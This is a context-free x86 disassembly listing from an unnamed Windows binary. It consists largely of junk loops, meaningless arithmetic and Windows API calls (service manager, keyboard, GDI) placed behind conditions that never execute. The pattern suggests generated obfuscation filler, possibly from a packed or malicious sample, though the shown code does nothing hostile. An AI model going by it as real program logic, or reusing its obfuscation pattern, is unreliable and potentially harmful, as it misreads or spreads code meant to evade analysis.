mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002af21
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x170], 0x624039b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002af09
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x1002af41
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x734], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002af29
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002af61
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2e4], 0x69097d9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002af49
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x1002b0d1
mov edx, 0xf8067e3
mov dword [ebp - 0x3bc], edx
mov dword [ebp - 0x3b8], edx
mov dword [ebp - 0x3b4], edx
mov dword [ebp - 0x3b0], edx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], 0xfffffff9
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x170], 0
je 0x1002b03f
mov dword [ebp - 0x1c], eax
jmp 0x1002b0e3
mov dword [ebp - 0x730], 0x31e341f5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1002b0d6
mov dword [ebp - 0x24], 0x8f3c34ee
or ecx, 0xffffffff
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x24], 0xc5a4a104
mov dword [ebp - 0x1c], 0x3f045180
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x1002b12a
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x268], edx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x1002b115
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edx
jge 0x1002b14a
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x744], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edx
jl 0x1002b132
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edx
jge 0x1002b16a
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xb84], 0xac80eab
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edx
jl 0x1002b152
xor eax, eax
push 3
mov dword [ebp - 0x2c], eax
pop ecx
jmp 0x1002b183
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xaf8], 0x9018101b
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1002b172
mov dword [ebp - 0x260], 9
cmp dword [ebp - 0x260], ecx
jge 0x1002b1ae
or eax, 0xffffffff
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x260]
cmp dword [ebp - 0x260], ecx
jl 0x1002b19d
mov eax, dword [ebp - 0x260]
mov edx, dword [ebp - 0x264]
mov eax, dword [ebp - 0x260]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, eax
mov eax, dword [ebp - 0x264]
cmp edx, eax
setle cl
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x260]
jl 0x1002b1ea
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x264]
mov eax, dword [ebp - 0x260]
cmp eax, ecx
setle dl
mov dword [ebp - 0x740], edx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x260]
mov eax, dword [ebp - 0x268]
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x260]
jle 0x1002b22c
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x48]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x34], 0x5689
mov eax, dword [ebp - 0x48]
cmp ecx, eax
sbb eax, eax
neg eax
cmp eax, 0x898791b1
sbb ecx, ecx
inc ecx
mov dword [ebp - 0xb84], ecx
mov eax, dword [ebp - 0x34]
imul eax, ecx
test eax, eax
jne 0x1002b26f
cmp dword [ebp - 0x1c], eax
jne 0x1002b26f
mov dword [ebp - 0xaf8], eax
mov eax, dword [ebp - 0x34]
jmp 0x1002b275
mov dword [ebp - 0xaf8], ebx
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x740]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setg dl
xor ebx, ebx
add edx, 0xffff2684
cmp edx, eax
mov eax, dword [ebp - 0x3c]
sete bl
xor ecx, ecx
cmp ebx, eax
setl cl
or eax, 0xffffffff
add ecx, dword [ebp - 0x260]
xor ebx, ebx
mov dword [ebp - 0x260], ecx
inc ebx
mov dword [ebp - 0x10], 0x169ff4ca
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002b2e3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x7c], 0xa7084bc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002b2ce
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x1002b305
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x7a4], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1002b2ec
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop ecx
jmp 0x1002b31e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x914], 0x20104353
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002b30d
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
dec dword [ebp - 0x48]
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x1002b36b
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x7a4]
sub ecx, eax
jne 0x1002b349
xor eax, eax
cmp dword [ebp - 0x7c], eax
je 0x1002b350
jmp 0x1002b34b
xor eax, eax
cmp dword [ebp - 0x7c], eax
jne 0x1002b352
mov eax, ebx
cmp eax, dword [ebp - 0x48]
jg 0x1002b369
xor eax, eax
cmp dword [ebp - 0x914], eax
jne 0x1002b369
mov dword [ebp - 0x910], eax
jmp 0x1002b378
xor eax, eax
mov dword [ebp - 0x910], ebx
mov edx, ebx
cmp dword [ebp - 0x7c], eax
jne 0x1002b37a
mov edx, eax
mov eax, dword [ebp - 0x7c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x7a4]
setl cl
imul eax, ecx
sub eax, 0x37d3709e
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xfec1
mov eax, dword [ebp - 0x7a4]
setne cl
add eax, ecx
jne 0x1002b3ae
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x7c], 0x8d1d
jne 0x1002b3c0
mov eax, dword [ebp - 0x7a4]
imul eax, dword [ebp - 0x24], 0x7222
sub eax, dword [ebp - 0x24]
cmp eax, 0xde2fd17b
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x7a4]
jle 0x1002b3e6
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1002b3e8
mov eax, ebx
jmp 0x1002b3e8
xor eax, eax
add eax, 0xfffffffe
mov dword [ebp - 0x7c], eax
xor eax, eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], eax
jl 0x1002b81b
mov dword [ebp - 0x10], eax
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1002b422
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1100], 0x9841b3c6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002b40a
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jg 0x1002b462
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002b43e
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002b456
push 0x1288
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jle 0x1002b42b
push 3
pop ecx
mov dword [ebp - 0x1c], 0xb055cc25
push 9
pop edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x2c], 0xd
cmp dword [ebp - 0x2c], 0x17
je 0x1002b600
mov dword [ebp - 0x1c], 0xef20fe6e
mov dword [ebp - 0x9e4], ebx
mov dword [ebp - 0x9e0], ebx
mov dword [ebp - 0x9dc], ebx
mov dword [ebp - 0x9d8], ebx
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x14
jge 0x1002b4ee
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002b4c7
push eax
call dword [sym.imp.COMDLG32.dll_FindTextW]
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002b4e2
push 0x51b
push eax
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x14
jl 0x1002b4b5
push 3
pop ecx
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 0xffffffe9
jl 0x1002b5ed
mov dword [ebp - 0x48], eax
or ecx, 0xffffffff
mov dword [ebp - 0x40], 0x547507af
mov dword [ebp - 0x44], ecx
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1002b52e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb74], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002b516
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002b54e
push 0x148f
push 0x1abc
push ebx
push eax
push 0x24ec
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1002b5c1
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x1002b56f
mov edx, ebx
cmp dword [ebp - 0x1c], eax
jne 0x1002b571
mov edx, eax
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x44], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x2c]
test eax, eax
setns cl
cmp dword [ebp - 0x48], ecx
jle 0x1002b5a3
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002b5a6
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
xor ecx, ecx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
setge cl
add ecx, dword [ebp - 0x34]
je 0x1002b5bf
mov eax, ebx
jmp 0x1002b5c1
xor eax, eax
mov dword [ebp - 0x9dc], eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0xb70]
push 0
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe9
pop eax
jge 0x1002b4fb
push 3
pop ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x17
push 0
pop eax
jne 0x1002b486
push 9
pop edx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xc
jge 0x1002b64b
or edx, 0xffffffff
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x10], 0x11
cmp dword [ebp - 0x10], ecx
jg 0x1002b642
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002b637
push 0x2127
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 3
xor eax, eax
pop ecx
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jle 0x1002b61e
or edx, 0xffffffff
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xc
jl 0x1002b60f
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x1002b750
mov dword [ebp - 0x44], 0x1ef9953e
mov dword [ebp - 0x48], 0xe5ccc90a
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1002b688
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf60], 0x75dcec3d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002b670
xor eax, eax
mov dword [ebp - 0x48], ebx
cmp dword [ebp - 0x48], eax
jl 0x1002b6ab
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002b6a6
push 0x44
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
xor eax, eax
dec dword [ebp - 0x48]
jns 0x1002b690
cmp dword [ebp - 0x1c], eax
je 0x1002b6e1
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x14]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x4c], eax
je 0x1002b6d8
cmp dword [ebp - 0x20], eax
je 0x1002b6d8
mov eax, ebx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor edx, edx
push 0
mov ecx, dword [ebp + eax*4 - 0x240]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setg dl
xor ebx, ebx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0x240]
add ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
setg bl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setl cl
xor edx, edx
cmp ebx, ecx
setl dl
sub edx, dword [ebp + eax*4 - 0x240]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x240], edx
dec dword [ebp - 0x1c]
pop eax
push 1
pop ebx
jns 0x1002b657
or ecx, 0xffffffff
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], 0xfffffff6
push 0xfffffffffffffff7
pop edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002b786
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x548], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002b76e
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002b7ab
push 0x1f45
push eax
push 0x1046
push 0x1605
call esi
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x1002b7c3
cmp dword [ebp - 0x548], eax
je 0x1002b7c5
mov eax, ebx
mov dword [ebp - 0x44], eax
xor eax, eax
cmp dword [ebp - 0x44], eax
jge 0x1002b7d4
cmp dword [ebp - 0x40], eax
je 0x1002b7d6
mov eax, ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x23c]
mov eax, dword [ebp - 0x4c]
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x23c]
mov eax, dword [ebp - 0x24]
push 0
mov ecx, dword [ebp + eax*4 - 0x240]
imul ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x240]
sub eax, ecx
mov dword [ebp - 0xdfc], eax
dec dword [ebp - 0x24]
pop eax
jns 0x1002b3fc
mov dword [ebp - 0x2c], ebx
push 7
pop ecx
mov dword [ebp - 0x9c4], ecx
mov dword [ebp - 0x9c0], ecx
mov dword [ebp - 0x9bc], ecx
mov dword [ebp - 0x9b8], ecx
mov dword [ebp - 0x30], 0xa21dec74
mov dword [ebp - 0x3c], 0xfff7
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002b867
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x8c], 0xfffffff8
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002b84f
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1002b889
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1164], 0xd2da0d3d
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1002b870
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002b8a2
push eax
push eax
call esi
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
xor eax, eax
mov dword [ebp - 0x2c], 0xffffffe9
jmp 0x1002ba6c
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x1c], 0xfa90ef87
mov dword [ebp - 0x44], 0xfffffffe
mov dword [ebp - 0x30], ebx
push 2
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x1002b8e5
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x138], 0xf3de0369
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002b8cd
xor eax, eax
push 3
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x1002b908
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xa38], 0xfffffffb
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002b8f0
xor eax, eax
cmp dword [ebp - 0x134], eax
je 0x1002b9ba
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x134]
mov edx, dword [ebp - 0x138]
sub ecx, eax
mov eax, dword [ebp - 0x2c]
imul edx, ecx
push 0
sub edx, eax
mov dword [ebp - 0xa34], edx
mov eax, dword [ebp - 0x2c]
pop edx
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x138]
mov dword [ebp - 0x9b8], edx
mov eax, dword [ebp - 0x2c]
cmp edx, eax
sete cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x8c]
cmp ecx, eax
mov eax, dword [ebp - 0x8c]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x134]
setl cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x8c]
cmp ecx, eax
setle dl
cmp edx, 0xcbb40284
jb 0x1002b99f
mov eax, dword [ebp - 0xa30]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x44], 0x5b6062cf
or ecx, 0xffffffff
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
cmp ecx, eax
mov eax, dword [ebp - 0x8c]
sbb ecx, ecx
inc ecx
sub ecx, eax
je 0x1002ba2d
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1002ba26
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x138], 0
jne 0x1002ba63
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002ba23
push eax
push 0x1b88
push eax
push eax
push 0xb12
push 0x12da
call dword [sym.imp.USER32.dll_ToAsciiEx]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1002b9f2
jmp 0x1002ba63
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002ba44
push 0x1d2f
call dword [sym.imp.USER32.dll_GetQueueStatus]
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1002ba5d
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002ba5a
call dword [sym.imp.GDI32.dll_GdiFlush]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x12
je 0x1002ba49
dec dword [ebp - 0x3c]
inc dword [ebp - 0x2c]
push 0
pop eax
cmp dword [ebp - 0x2c], 0xffffffed
jg 0x1002b8ae
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
dec dword [ebp - 0x20]
push 0
pop eax
jns 0x1002aef4
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff6
push 0
pop eax
jle 0x1002aabc
mov esi, 0x91a049fe
mov dword [ebp - 0x20], esi
push 3
mov dword [ebp - 0x10], eax
pop edi
cmp dword [ebp - 0x10], edi
jge 0x1002bac3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd04], 0xe785c2f4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002baab
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xfffffff6
jg 0x1002bc4b
push 2
pop ecx
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x48], 0xf86f25db
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1002bb01
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1f0], 0x124f84b8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002bae9
xor eax, eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x1002bc3e
mov dword [ebp - 0x24], 0x8f3c34ee
mov dword [ebp - 0x10], 0x169ff4ca
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], eax
jl 0x1002bc29
mov dword [ebp - 0x1c], 0xb055cc25
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x1002bbe7
jmp 0x1002bb3e
xor eax, eax
mov dword [ebp - 0x44], 0x1ef9953e
cmp dword [ebp - 0x1c], eax
je 0x1002bb7b
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x48], eax
je 0x1002bb72
cmp dword [ebp - 0x14], eax
je 0x1002bb72
mov eax, ebx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor edx, edx
push 1
mov ecx, dword [ebp + eax*4 - 0x1f0]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setg dl
xor ebx, ebx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + eax*4 - 0x1f0]
add ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
setg bl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setl cl
xor edx, edx
cmp ebx, ecx
pop ebx
setl dl
sub edx, dword [ebp + eax*4 - 0x1f0]
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1f0], edx
dec dword [ebp - 0x1c]
jns 0x1002bb3c
mov eax, dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x48]
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x24]
push 0
mov ecx, dword [ebp + eax*4 - 0x1f0]
imul ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1f0]
sub eax, ecx
mov dword [ebp - 0xd00], eax
dec dword [ebp - 0x24]
pop eax
jns 0x1002bb27
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
dec dword [ebp - 0x14]
push 0
pop eax
jns 0x1002bb0d
push 2
pop ecx
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff6
jle 0x1002bad3
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1002bc6e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xdc4], 0xe785c2f4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002bc56
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xfffffff6
jg 0x1002bdf6
push 2
pop ecx
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x48], 0xf86f25db
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1002bcac
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1c0], 0x124f84b8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002bc94
xor eax, eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x1002bde9
mov dword [ebp - 0x24], 0x8f3c34ee
mov dword [ebp - 0x10], 0x169ff4ca
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], eax
jl 0x1002bdd4
mov dword [ebp - 0x1c], 0xb055cc25
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x1002bd92
jmp 0x1002bce9
xor eax, eax
mov dword [ebp - 0x44], 0x1ef9953e
cmp dword [ebp - 0x1c], eax
je 0x1002bd26
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x48], eax
je 0x1002bd1d
cmp dword [ebp - 0x14], eax
je 0x1002bd1d
mov eax, ebx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor edx, edx
push 1
mov ecx, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setg dl
xor ebx, ebx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + eax*4 - 0x1c0]
add ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
setg bl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setl cl
xor edx, edx
cmp ebx, ecx
pop ebx
setl dl
sub edx, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1c0], edx
dec dword [ebp - 0x1c]
jns 0x1002bce7
mov eax, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x48]
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x24]
push 0
mov ecx, dword [ebp + eax*4 - 0x1c0]
imul ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c0]
sub eax, ecx
mov dword [ebp - 0xdc0], eax
dec dword [ebp - 0x24]
pop eax
jns 0x1002bcd2
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
dec dword [ebp - 0x14]
push 0
pop eax
jns 0x1002bcb8
push 2
pop ecx
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff6
jle 0x1002bc7e
xor esi, esi
mov ebx, 0x56834504
mov dword [ebp - 0x14], ebx
inc esi
